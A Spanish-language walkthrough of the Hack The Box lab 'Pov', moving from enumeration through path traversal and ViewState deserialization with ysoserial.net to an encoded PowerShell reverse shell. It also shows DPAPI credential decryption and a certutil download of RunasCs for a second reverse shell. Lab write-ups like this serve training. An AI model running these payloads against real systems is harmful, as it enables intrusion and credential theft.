Pov

Enumeración

Como siempre, lo primero que hago es ver si la máquina está encendida.

❯ ping -c 1 10.10.11.251
PING 10.10.11.251 (10.10.11.251) 56(84) bytes of data.
64 bytes from 10.10.11.251: icmp_seq=1 ttl=127 time=42.3 ms

--- 10.10.11.251 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.303/42.303/42.303/0.000 ms
❯ whichSystem.py 10.10.11.251

	10.10.11.251 (ttl -> 127): Windows

Veo que me responde. Gracias al ttl identifico que estoy ante una máquina Windows.

Ahora voy a ver que puertos están abiertos.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.251 -oG puertos

❯ cat puertos
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: puertos
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.94SVN scan initiated Mon Jun 17 06:31:58 2024 as: nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG puertos 10.10.11.251
   2   │ # Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
   3   │ Host: 10.10.11.251 ()   Status: Up
   4   │ Host: 10.10.11.251 ()   Ports: 80/open/tcp//http/// Ignored State: filtered (65534)
   5   │ # Nmap done at Mon Jun 17 06:32:24 2024 -- 1 IP address (1 host up) scanned in 26.48 seconds
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ extractPorts puertos
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.11.251
   5   │     [*] Open ports: 80

Una vez tenemos los puertos abiertos voy a lanzar un escaneo más exhaustivo.

❯ nmap -sC -sV -p80 10.10.11.251 -oN target
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 08:29 EDT
Nmap scan report for 10.10.11.251
Host is up (0.040s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: pov.htb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
❯ whatweb http://10.10.11.251
http://10.10.11.251 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[sfitz@pov.htb], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.251], Microsoft-IIS[10.0], Script, Title[pov.htb], X-Powered-By[ASP.NET]

Voy a identificar directorios ocultos con gobuster, pasándole la url (-u) y el direccionario (-w) y voy a usar tee para visualizar la salida en tiempo real, pero también para conservar un registro en un archivo.

❯ gobuster dir -u http://pov.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt | tee gobuster.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://pov.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 142] [--> http://pov.htb/img/]
/css                  (Status: 301) [Size: 142] [--> http://pov.htb/css/]
/js                   (Status: 301) [Size: 141] [--> http://pov.htb/js/]
/IMG                  (Status: 301) [Size: 142] [--> http://pov.htb/IMG/]
/*checkout*           (Status: 400) [Size: 3420]
/CSS                  (Status: 301) [Size: 142] [--> http://pov.htb/CSS/]
/Img                  (Status: 301) [Size: 142] [--> http://pov.htb/Img/]
/JS                   (Status: 301) [Size: 141] [--> http://pov.htb/JS/]
/*docroot*            (Status: 400) [Size: 3420]
/*                    (Status: 400) [Size: 3420]
/http%3A%2F%2Fwww     (Status: 400) [Size: 3420]
/http%3A              (Status: 400) [Size: 3420]
/q%26a                (Status: 400) [Size: 3420]
/**http%3a            (Status: 400) [Size: 3420]
/*http%3A             (Status: 400) [Size: 3420]
/**http%3A            (Status: 400) [Size: 3420]
/http%3A%2F%2Fyoutube (Status: 400) [Size: 3420]
/http%3A%2F%2Fblogs   (Status: 400) [Size: 3420]
/http%3A%2F%2Fblog    (Status: 400) [Size: 3420]
/**http%3A%2F%2Fwww   (Status: 400) [Size: 3420]
/s%26p                (Status: 400) [Size: 3420]
/%3FRID%3D2671        (Status: 400) [Size: 3420]
/devinmoore*          (Status: 400) [Size: 3420]
/200109*              (Status: 400) [Size: 3420]
/*sa_                 (Status: 400) [Size: 3420]
/*dc_                 (Status: 400) [Size: 3420]
/http%3A%2F%2Fcommunity (Status: 400) [Size: 3420]
/Chamillionaire%20%26%20Paul%20Wall-%20Get%20Ya%20Mind%20Correct (Status: 400) [Size: 3420]
/Clinton%20Sparks%20%26%20Diddy%20-%20Dont%20Call%20It%20A%20Comeback%28RuZtY%29 (Status: 400) [Size: 3420]
/DJ%20Haze%20%26%20The%20Game%20-%20New%20Blood%20Series%20Pt (Status: 400) [Size: 3420]
/http%3A%2F%2Fradar   (Status: 400) [Size: 3420]
/q%26a2               (Status: 400) [Size: 3420]
/login%3f             (Status: 400) [Size: 3420]
/Shakira%20Oral%20Fixation%201%20%26%202 (Status: 400) [Size: 3420]
/http%3A%2F%2Fjeremiahgrossman (Status: 400) [Size: 3420]
/http%3A%2F%2Fweblog  (Status: 400) [Size: 3420]
/http%3A%2F%2Fswik    (Status: 400) [Size: 3420]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

En este escaneo veo una la ruta de login que da un error 400 (bad request). Voy a meterme por curiosidad

Y encuentro un error del archivo de configuración Web.Config

Como tampoco he encontrado muchos directorios interesante voy a enumerar subdominios

❯ wfuzz -c --hh=12330 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.pov.htb" http://pov.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://pov.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                  
=====================================================================

000000019:   302        1 L      10 W       152 Ch      "dev"

Voy a incluir dev.pov.htb en el /etc/hosts y posteriormente voy a realizar una solicitud HTTP GET a la dirección http://dev.pov.htb con curl.

❯ curl -s -X GET http://dev.pov.htb
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://dev.pov.htb/portfolio/">here</a></body>%  

Si voy a esta página encuentro esto.

Tiene un CV que se puede descargar, voy a descargármelo y a ver los metadatos con exiftools. Pero tampoco veo nada aparentemente interesante solo el autor.

❯ exiftool cv.pdf
ExifTool Version Number         : 12.76
File Name                       : cv.pdf
Directory                       : .
File Size                       : 148 kB
File Modification Date/Time     : 2024:06:17 15:55:45-04:00
File Access Date/Time           : 2024:06:17 15:55:45-04:00
File Inode Change Date/Time     : 2024:06:17 15:55:45-04:00
File Permissions                : -r--------
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 1
Language                        : es
Tagged PDF                      : Yes
XMP Toolkit                     : 3.1-701
Producer                        : Microsoft® Word para Microsoft 365
Creator                         : Turbo
Creator Tool                    : Microsoft® Word para Microsoft 365
Create Date                     : 2023:09:15 12:47:15-06:00
Modify Date                     : 2023:09:15 12:47:15-06:00
Document ID                     : uuid:3046DD6C-A619-4073-9589-BE6776F405F2
Instance ID                     : uuid:3046DD6C-A619-4073-9589-BE6776F405F2
Author                          : Turbo

Voy a usar burpsuite para interceptar la petición cuando descargué el pdf.

Veo que hay un campo file que es el nombre del archivo, voy a buscar en ese directorio más archivos.

❯ gobuster dir -u http://dev.pov.htb/portfolio/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x aspx | grep -v "302"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.pov.htb/portfolio/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              aspx
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/contact.aspx         (Status: 200) [Size: 4691]
/default.aspx         (Status: 200) [Size: 21371]
/Default.aspx         (Status: 200) [Size: 21371]
/assets               (Status: 301) [Size: 159] [--> http://dev.pov.htb/portfolio/assets/]
/Contact.aspx         (Status: 200) [Size: 4691]

Y como podemos ver nos deja. Vemos un archivo index.aspx.cs voy a verlo.

Este método permite descargar archivos desde el servidor web. El archivo a descargar se especifica mediante la variable file, y el método se encarga de enviar el archivo al cliente con el nombre especificado en el encabezado Content-Disposition.

Parece que hay un Path Traversal en la expresión regular Regex.Replace(filePath, “../”, “”) que intenta prevenir ataques de path traversal, pero no es suficiente. Un atacante podría utilizar técnicas de encoding o doble encoding para bypassar esta protección y acceder a directorios fuera del árbol de directorios actual.

Probe a poner en file file=..\..\..\..\..\..\..\..\..\..\..\..\..\..\C:\Windows\System32\drivers\etc\hosts pero me daba error, y pasándole solo el path me dió una respuesta.

Asi que voy a ver el archivo web.config que antes daba un error.

La clave de cifrado es la clave de desencriptación. En este caso, la clave de desencriptación se encuentra en la sección del archivo de configuración web.config y vemos que es una clave AES (Advanced Encryption Standard) que se utiliza para cifrar y descifrar datos confidenciales. La clave se especifica como una cadena hexadecimal de 32 caracteres.

En este caso, la clave de desencriptación es: decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"

ysoserial tool

Voy a usar una nueva máquina Windows e Ysoserial para generar un payload de deserialización que me permita acceder a la clave de cifrado.

Con -p puedo ver los plugins para usar.

C:\Users\j\Desktop\Release>ysoserial.exe -p --help
Plugin not supported. Supported plugins are: ActivatorUrl , Altserialization , ApplicationTrust , Clipboard , DotNetNuke , GetterCallGadgets , NetNonRceGadgets , Resx , SessionSecurityTokenHandler , SharePoint , ThirdPartyGadgets , TransactionManagerReenlist , ViewState

Y aparece ViewState que es uno de los campos que justo nos había aparecido antes y que nos permite Ysoseria.net crear un payload serializado especifico para explotar este campo y que al deserializarse nos permite ejecutar comandos.

Aquí podemos ver los comandos que se pueden usar.

Aqui podemos ver unos ejemplos.

C:\Users\j\Desktop\Release>ysoserial.exe -p ViewState --examples
Try 'ysoserial -p ViewState --help' for more information.
Exmaples:

.NET Framework >= 4.5:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

.NET Framework <= 4.0 (legacy):
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

Voy a seguir el ejemplo y voy a intentar hacer un ping .

C:\Users\j\Desktop\Release>ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping 10.10.14.87" --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

3lcH8UtxNwL7NJhFGzDKXHiefizG7ylt%2FgPkm8ttJRIxIDjHyeutjancqr9zrMByLn4cnyjcDTwlRg9wZUkNVELOT9LE7g3THvYkN3op94zO%2BtZhZ%2BupAgGOci27QhiaDFecgXlA8cHcCTjno8MLGyl%2B9QMe%2FJyz%2FcCxPmgiAi6Ui6R5uf3p51zlNVrZD4dNaRZEP2yvzTfV3jNJTYuiErTGwb75dIxQP1p7nTKv4ERs6fE9ArO1vLnbSWzYe61IdRQT0aBykIiag9lVptpTjo1IoaPnG6HXzC2CZlDBAKxBeNCLtKxZ%2FpQ1Vyd98ShIIBLK3FfvNFHql%2B%2Bg5VJrXUUwkMrvIUg024LHCwgFi7XuxVUunCfcFnF2VdYe7U3gsJgXNW74EG2nM6H4XFJJFCMwAt66KJwwUgugQl7U6Q7Z0m4FYndYLvwddXUSJVuZHCIJvcibCHg67FCzzRqi%2FW%2FWYW%2BD6Dw2xTueSF%2BpXU%2FoDuq8tXx%2BphAOr4ZCcavDWcCpt350RnVS11iQqSmy8eeotUsrMPhvv%2FQpvoCowySXyQpV7%2BppUjV5oRqaes6qaI2Lul18WFRdn8SGpd5HEx2TkT0qWiQavQwuwlZ7lAshN%2Fmx7l4Sco1SmjzgY1TXU%2FnxM5Xqo08TM16CREOTBwAQ%2FnSHzjIlUwdmvRWig6ROBnJB9%2Fbn%2F%2FpD5rvaPUgXWZ%2BpzLHr%2Fzc6QmuBz591zbxHDoXHvB7RD5bBL2ycg%2Bz17a0%2F%2Fp%2BtgrvoTVMslwAQyMks5vBx1Rp%2BUMA%2Ff1MKeaPK5GNuCqqaWBemBcBjF%2FadVJfBKLnea5Q97g206XJnr5%2BdxYsukgJiF78A8KuIwClEzmB6pMZut5GeB02XfNacaQZ1zxvh8MITZcLGecbpIJbrv0da%2FNgGGSsM8zZjAUgEcA%2FLkYFbtuUA8ubH4XpxVF4TP%2B%2FPULFxlb7%2BiUeII%2FzpwDxz8L%2BgkMB%2Bu65EayqViJf6r5YK3LDqhHsTfTNWVEdLGmivWFT%2F6griapnRRhA%2Bo4eo6wvU9%2Bsf9KFftCxXcJs63M3c2fqeIQJc4q2a5k%2FAMrwHC5T8xYJWKkABhVgGDVcd4lfMWHOv2lvMOAI32nb0OYhgi54TcZ96KXXTgdnWPJvyZTRettOOEPgLD3hfbXjnRGi9TOa%2FYchYLlkYzRiHxDiHWY2aboKkv6EVKWKMT8S%2Fy0i7cAKPO3HMs96uZ%2BFFIYzBXk5ISELCB5ANrANt0B4L%2FBp%2B%2B3S79GC%2FcdZ7%2Ff07s397mGbnIkn8Wht1cFBPlX2zNyFNhJmfH7r3g0E%3D

Cojo el payload serializado y codificado en un prinicipio en base64 y lo voy a copiar en el campo VIEWSTATE. Me voy a poner en escucha y voy a lanzar la petición.

Y consigo ejecutar comandos. Ahora voy a generar una Reverse Shell con esta página.

Me pongo en escucha con el comando sudo nc -lvnp 443 y ahora le paso en lugar de un ping la Reverse que he generado.

C:\Users\j\Desktop\Release>ysoserial.exe -p ViewState -g TextFormattingRunProperties -c " powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAA3ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA= " --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

p%2Fk2vfwmxEjss1j4GEBY%2F3WDKNi%2FqJmQZHKEM007%2FylWLv8fRuPc2nw%2B4CCYo8wUGREvvCggGKnTCa8BddZTquecULCHDHdLW%2Fs7bRvHb5xvUK684T0NHlIDkE5DkjfJSR0CEVWX%2FjacxGjRrFeq7PE%2FmIan4XgOsCgndZe%2B6k%2FvReSv8DCVnj42NN15TVEAMJ2j7gKyhqxWy2NyGGD1w83pUZ1uYZf5EDGsyipImSFHmONvx9DTmZSg5Ac%2FdyyRxhOuV12NvZ1pmkUCDF31Qivma%2BzKneSAQMMQuUrRwACDkKkCS8srSy73ScBbYtbYyjz36n1Sj3tPfsOmBxRS2J8Y88eRrpRsFxamrVs1Zs9BMiHiK1ryfqLx78q7a2O8NIvjxBwM5OIPKYV8IclpDbJBUu%2FDREyDz%2Begl7EX%2FH6LkATJ5MTSD6weP0zZJyurTAV0Ef58dTDanuBpJT%2BcEwzmFpkbrC%2F%2Fmty5QROpsXfGRdk%2FsqZjGjBeiQoq6HCXCZ7p4qMoJQVyxZ2X9fFy1sOK6A7qLnlJxa%2BQ8LucmLhpgQjeWIQBtX7NZhcXBz7amdssLVdtWqzgYFMWLvO2vzAFMbd%2FJNZWEa01wJYQgkRgSSg8JzRP8cCddIoMvVd5K4NNFueWaHZs%2F64Vj3TPZrHygQiOiepDZH2F2jSrFiIUmEvHcZywxoJIJg1caRG0iwuYsqY0QgqotNxPVcE8%2FR%2BriySwsdZ%2BCd4iI%2BYtf2ZKrlRnQUeXNPq8KYiKK%2BqnTNtIRvP1HzaPt%2Ffx6oRXXPHH5jkvspNW4%2FMeUh74vaaH9Th6vyhtKr4sOWCzacps4O1YH8gz1uCKuMtNdIt3t5C0UkMDdYRK4PtV4uJVPxNMTun7tZguvhjS%2BDc0xnJyqMu1Gr9mDJ%2BwFZuvIoTDinG0g8LPBGLCaQdbbSUF7qWBSTl8f4PFKnF4nhlA8dV9B0D5ApTuxWO8XZrcfDoxMS6uCdgGnTdGYKNX9atXo%2FxdX%2BkQD9G65woabHmAUwhVO0pHJWSnZw9Wb4xn%2B%2Fsh2iuoMdotgiIT1aR8s6ebFqeT0TZz9CX5UnrZgPX9DNaBDXNqbMR%2B7WBtryZ4wHis%2BmlYtICEBpvUiWRFmXP%2F2B9ebcceUJQ%2FOwXlKrJLvCUzRCNmv36q3cQzr6bm781vsTAH8ksZwR3PIIT60Tq%2FE6NmMUxPrFy0EId%2Bbr4bvEgW1B%2BxznS%2BD011X2JKyjQC5lEjEuNQxmFDARakO%2BicXtp76NuP4idOOXa%2BK0wpyETMLClWwJ%2FHY%2F5oSCrilWokcDUwXj81AYfNYw%2BdR%2B4%2FXpIoNdYjn3UrtNBg8VTE6v7vCtlbItU3eaJbfuPtpA%2FwlXMVyOEGoUUeRkSyWWXIrbsbu36qtVgto1Vt4lbCJXqRTg1CeWb2yoa84j3O%2B0nPZwOUZo0nTjsYEjmpUveNG95w73xGw7IxY%2FJhoLK2hxKBgWFlNH3zeD%2BcpWFElGHaRd161SHZkJyAmT0kAsKpxusaWgw6d6q%2B36XpJx4m8Xfqi45sHiuEs3%2BDVPpF8RL4LvHjiakmVvrwvJ%2B4PfsIsViAUN7PbLGInELAP0zTWGffOhIua79RZRMYd%2BI4M%2Fx9EiGttK0qN3%2FX%2BbpR%2FWZH%2Bsm1jic1IxltoeU%2BeYHocRX%2BU89urHUP8iYIY23KzsC%2FAJjc3KzYE70LXp5Jc3EfspekbQa70LKq6UDS8obKVhvOWh2krKwGA8dIyhJuEs6XlcmiCcF8nxSof8JK9CmQmEY%2Fqq0HSy24snmrSW4QblGEwyiZQifSxZbn2g8QAapprD5HzkYOwr2AXNBF9tVGm6%2F6qXmp3AFXk0J4hTCT1ZRRg1i1AsHwiRmQkPwJzRd7kXCG34OMM7r9fRtRfcl9oDd7zoZqJQCki2REQRbjMgGn%2ByGfbOTHA5%2FGgA06wRFKnJCG1ZXwCVRE5Nyv7wuNXT1Ko1Y4XhB3jY%2B2vf4fdoHEkzDvDDGkgxUx2t3zeTG10OsJANWgqmM0%2FX%2Fr%2FgSWH5CBSyv0XL9oF%2Fk34i7fq8AiTmQ6KC4DfwnkrhZeVPF4uz%2BdH1qUs%2Bj%2BamQNwPlzZsj1KJQGWvo7N0BR%2BY4W1QRqNOfDpRv%2F9Qf8cmiplbUybxYpDV0WyOXoOC5tsajbi6Ry%2B%2FL5sTw7JqlzYRdwl5FgDsZuXGkx0OazQ5MfOARSV%2BaYd5FU2X3kZsrIe5wFsIT35%2BvWVeh7MjeaUoh4TpcI8MSfKCxuaVSWikOJtbtQ5UFDK83d2fA4WIrOZ567BgywZCNFhPfo3uWaE2%2BOEIOo4VohGjjiQHVDyy0hKDTPrH6cM3h5x8LealGRMaHn6WjjVOUXLwXBNTyECF7F%2B1lLFYHFIzAxrIZV9iyhc3SOwXAnQRg57S4S6vuNLz38iX1Qwt4kpqJAQpd4uj%2BP0jHzmFPLbg4bbvOY%2BKqFUF1Du4AGnQctpNTK0OOyFQFCGrCV3qbxQWGhNKQIlsE41PWUfvKVeAKo1mexa3OXcNXulOQdncw0%2BPiqj%2BdtfPLmmvYgcvOY6cmNlm5ipQUL5h7StECNanvDiQb9J7DDf9zrCN8hC2kRaHVavQJ1ZKGWe3IDjcvIP0WMquZVuoLmEsKByX1cN88%2FBJBtsjDZH2WwtfXk5sUa%2F79d5zsZY2RUgw6gKAx%2BfnPSWantOGRo%2Bf%2FPdRufxJJvd1Ftc2fPXcFLD0DN9SxZisMEwfRGs0WpZSN1%2BW1Rtal1r0J2LTK698eSBqrBXOsHl0sbQeSpWStgqQFeaMDnta%2BKsdXRHsDmx9TjLU6fy8Kf5xRH5I7E4O53THtKUCKhGayFw%2FUegK7uSCRwjoMwfRUC6JOA%2FlDBPyCwKC%2FL56VcQ%2Bk4gQS1DfIjOLL%2Fzl6l2AlwSGH7O2rXLu58gv0k6Gom8hk6L36Oqgtvq3cDuzjUEHuXYdy7TXkpdyqXAhtgM7AQkqpXbPIrh%2BXc4rfxqkRuX8%2BBhW1eRcmaPAlXh34qBMK28pqNQWrr6tv4uE%2BA14iUM4km7mYdgA7L1yw4ZBXg5a4U8K3pzxfzX%2Bzpz9KMa1%2BZn5YyhcCsdy4qTA%3D%3D

Esto lo pasamos al ViewState con Burp y voy a usar voy a usar rlwrap parar agregar una interfaz de readline a nc, lo que facilita el trabajo con la herramienta y proporciona características como historial de comandos y edición.

Y consigo acceso.

PS C:\Users\sfitz\Documents> cat connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
    </Props>
  </Obj>
</Objs>
PS C:\Users\sfit

Encuentro este archivo connection.xml que contiene una representación serializada de un objeto System.Management.Automation.PSCredential, que es un tipo de objeto utilizado en PowerShell para almacenar credenciales, como nombres de usuario y contraseñas.

Hay un nombre de usuario “alaading” y una contraseña se almacena como una cadena segura (SS) en la propiedad Password. La contraseña está cifrada utilizando la API de Protección de Datos de Windows (DPAPI).

Voy utilizar el cmdlet Import-Clixml de PowerShell para importar el archivo connection.xml y luego utilizar el método GetNetworkCredential() para obtener la contraseña en claro.

    # Importar el archivo connection.xml
PS C:\windows\system32\inetsrv> $cred = Import-Clixml -Path "C:\Users\sfitz\Documents\connection.xml"
    # Obtener la contraseña en claro
PS C:\windows\system32\inetsrv> $plainPassword = $cred.GetNetworkCredential().Password

PS C:\windows\system32\inetsrv> $cred

UserName                     Password
--------                     --------
alaading System.Security.SecureString

PS C:\windows\system32\inetsrv> $plainPassword
f8gQ8fynP44ek1m3

Ahora voy a ver que cuentas de usuarios locales hay en el equipo actual.

PS C:\windows\system32\inetsrv> net user

User accounts for \\POV

-------------------------------------------------------------------------------
Administrator            alaading                 DefaultAccount           
Guest                    sfitz                    WDAGUtilityAccount       
The command completed successfully.


PS C:\windows\system32\inetsrv> net user alaading
User name                    alaading
Full Name                    
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            11/6/2023 10:59:23 AM
Password expires             Never
Password changeable          11/6/2023 10:59:23 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   12/25/2023 4:56:21 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use*Users                
Global Group memberships     *None                 
The command completed successfully.                 sfitz                    WDAGUtilityAccount 

Obtención de shell como administrador

Para ejecutar comandos como otro usuario voy a usar Runas

Voy a iniciar un servidor HTTP en el puerto 90 para que cualquier persona en la red pueda acceder al conectido del dir actual.

❯ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

10.10.11.251 - - [18/Jun/2024 09:46:10] "GET /RunasCs.exe HTTP/1.1" 200 -
10.10.11.251 - - [18/Jun/2024 09:46:11] "GET /RunasCs.exe HTTP/1.1" 200 -
10.10.11.251 - - [18/Jun/2024 09:47:45] "GET /RunasCs.exe HTTP/1.1" 200 -
10.10.11.251 - - [18/Jun/2024 09:47:45] "GET /RunasCs.exe HTTP/1.1" 200 -

El comando descarga el archivo RunasCs.exe desde la dirección IP 10.10.14.87 y lo guarda en la caché de URL del sistema es el siguiente:

PS C:\Windows\Temp\runas> certutil.exe -f -urlcache -split http://10.10.14.87/RunasCs.exe
****  Online  ****
  0000  ...
  ca00
CertUtil: -URLCache command completed successfully.
PS C:\Windows\Temp\runas> ls


    Directory: C:\Windows\Temp\runas


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        6/18/2024   6:47 AM          51712 RunasCs.exe

Ahora para conectarme ejecuto el RunasCs.exe con la siguiente configuración.

PS C:\Windows\Temp\runas> .\RunasCs.exe -b alaading f8gQ8fynP44ek1m3 powershell.exe -r 10.10.14.87:443

